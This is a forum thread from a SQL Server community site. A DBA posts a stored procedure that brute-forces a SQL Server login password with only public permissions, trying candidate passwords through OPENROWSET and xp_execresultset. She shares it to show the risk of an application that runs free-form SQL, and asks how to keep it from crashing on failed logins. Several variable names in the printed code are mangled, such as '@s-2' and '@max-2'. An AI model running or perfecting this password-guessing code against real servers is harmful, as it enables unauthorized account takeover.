December 22, 2004 at 9:15 am
I am trying to agrue against allowing a particular outside application on our SQL Server production servers. This application allows free-form sql to be run by anyone through the application. The application requires public permissions on the system DBs and table creation privileges on the user db. To argue, I thought that I would demonstrate a password cracking code that all users would be allowed to implement. I am trying to run the sp from jgama ( http://www.sqlservercentral.com/scripts/contributions/615.asp ) that uses public permissions only to find a password. Unfortunately, it crashes on the openrowset when the password is invalid (but works fine if I start it with the true password). Is there a way to keep it from crashing when the openrowset fails?
Thank you,
Jill
----------------------------------------------------------
-- from original code by jgama:
create PROCEDURE FindSApublic (@size int)
AS
SET NOCOUNT ON
DECLARE @query NVARCHAR(255),@i int,@j int,@n int,@max int,@temp int, @keys VARCHAR(50),
@dtime datetime, @s-2 VARCHAR(10), @t VARCHAR(10)
SET @dtime=getdate()
SET @keys='abct'
SET @max-2=dbo.Possibilities( @size, LEN(@keys))
SET @n=len(@keys)
SET @s-2='a'
SET @i=0
create table ##temppwd (pwd NVARCHAR(10))
WHILE @i<@max
BEGIN
SET @j-2=@i
WHILE (@j>0)
BEGIN
SET @temp=@j % (@n)-sign(len(@s))
if @temp<0 set @temp=@n-1
SET @j-2=@j /(@n+sign(len(@s)))
SET @s-2=substring(@keys,@temp+1,1)+@s
SET @t=@s
END
declare @s1 NVARCHAR(10) set @s1=CONVERT(NVARCHAR(10),@s)
set @query=N'select ''insert ##temppwd select top 1 '''''+@s1+N''''' from OPENROWSET(''''MSDASQL'''',''''DRIVER={SQL Server};SERVER=test_server;uid=jd_test;pwd='+@s1+N''''',''''select 1 '''')'''
exec master..xp_execresultset @query,N'master'
if EXISTS(select * from ##temppwd)
GOTO lblFound
SET @s-2=''
SET @i=@i+1
END
drop table ##temppwd
select 'Not found after '+str(@max)+' rounds; tested up to '+@t+'.'
return
lblFound:
drop table ##temppwd
select 'Found: '+@s
return
December 27, 2004 at 8:00 am
This was removed by the editor as SPAM
August 4, 2005 at 4:44 pm
You cannot use variables as OPENROWSET or OPENDATASOURCE arguments. I have had similar problems with no effective solution.
October 21, 2005 at 10:48 am
Carl, sorry to say... but you're wrong. See...
http://support.microsoft.com/default.aspx?scid=kb;%5BLN%5D;296769
A.J.
DBA with an attitude
Viewing 4 posts - 1 through 3 (of 3 total)
You must be logged in to reply to this topic. Login to reply